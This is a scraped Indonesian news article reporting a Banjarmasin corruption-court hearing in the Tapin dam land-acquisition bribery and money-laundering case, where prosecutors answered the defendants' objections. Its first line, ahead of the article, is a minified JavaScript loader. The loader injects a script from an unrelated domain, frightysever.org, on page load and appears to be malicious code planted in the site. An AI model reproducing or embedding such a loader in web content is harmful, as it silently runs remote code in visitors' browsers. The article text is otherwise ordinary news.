(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Sidang kasus gratifikasi dan tindak pidana pencucian uang (TPPU) proyek bendungan Tapin kembali berlangsung di Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin, Senin (26/6/2023) pagi.
Tiga orang terdakwa, Sogianor, Achmad Rizaldy, dan Herman mengikuti sidang secara online dari Lapas Teluk Dalam Banjarmasin. Sedangkan penasehat hukum dan JPU hadir di persidangan secara langsung.
Pada sidang kali ini giliran Jaksa Penuntut Umum (JPU) menanggapi eksepsi (keberatan) dari penasehat hukum ketiga terdakwa.
Pertama, JPU meminta kepada majelis hakim Pengadilan Tipikor Banjarmasin menyatakan eksepsi (keberatan) penasehat hukum terdakwa tidak diterima untuk sepenuhnya.
Baca juga: Pemutihan Kebun Sawit di Area Hutan Untungkan Korporasi
Kemudian meminta majelis hakim memutuskan untuk menerima surat dakwaan JPU perkara Sogianor, Achmad Rizaldy, dan Herman dan melanjutkan ke sidang pembuktian.
“Melanjutkan persidangan untuk memeriksa dan mengadili perkara ini,” ucap Tesa, JPU dari Kejari Tapin.
Pada sidang sebelumnya, eksepsi ketiga terdakwa kompak untuk meminta majelis hakim membatalkan surat dakwaan JPU karena dinilai salah kamar atau Pengadilan Tipikor Banjarmasin tidak berwenang mengadili perkara.
Baca juga: Produk Busana Muslim Dikuasai China, Indonesia Masih Urutan ke-5
Atas eksepsi dan tanggapan JPU, majelis hakim yang diketuai Suwandi SH MH mengatakan akan bermusyawarah terlebih dahulu untuk memutuskan kelanjutan sidang untuk ketiga perkara tersebut dengan putusan sela.
“Untuk putusan kami akan bermusyawarah dan sidang ditunda hingga Senin tanggal 3 Juli 2023,” kata Suwandi.
Sebelumnya, ketiga terdakwa didakwa menerima suap pembebasan lahan proyek bendungan Tapin di Desa Pipitak Jaya, Kecamatan Piani, Kabupaten Tapin, Kalsel.
Dalam dakwaan, Sogianor selaku Kepala Desa Pipitak Jaya disebut menerima Rp 800 juta, Achmad Rizaldy ASN selaku panitia pengadaan tanah Rp 600 juta, dan Herman warga Desa Pipitak Jaya disebutkan menerima Rp 945 juta.
Meskipun JPU dalam dakwaan tidak ada menyinggung atau tidak menyebut kerugian negara, ketiganya didakwa dengan pasal gratifikasi dan pencucian uang.
Baca juga: Rumah dan Warung Sembako Tinggal Arang di Ratu Zaleha Banjarmasin
Ketiganya didakwa dengan pasal 12 huruf e Jo pasal 11 Undang-Undang Nomor 20 tahun 2001 tentang perubahan atas Undang-undang Nomor 31 tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi Jo Pasal 55 Ayat 1 ke-1 KUHP.
JPU juga memasang pasal 3 JO Pasal 4 Undang-undang Nomor 8 Tahun 2010 tentang Pemberantasan Tindak Pidana Pencucian Uang (TPPU) untuk terdakwa Sogianor dan Achmad Rizaldy. Sedangkan untuk Herman dipasang Pasal 3 dan 5 Undang-undang TPPU. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.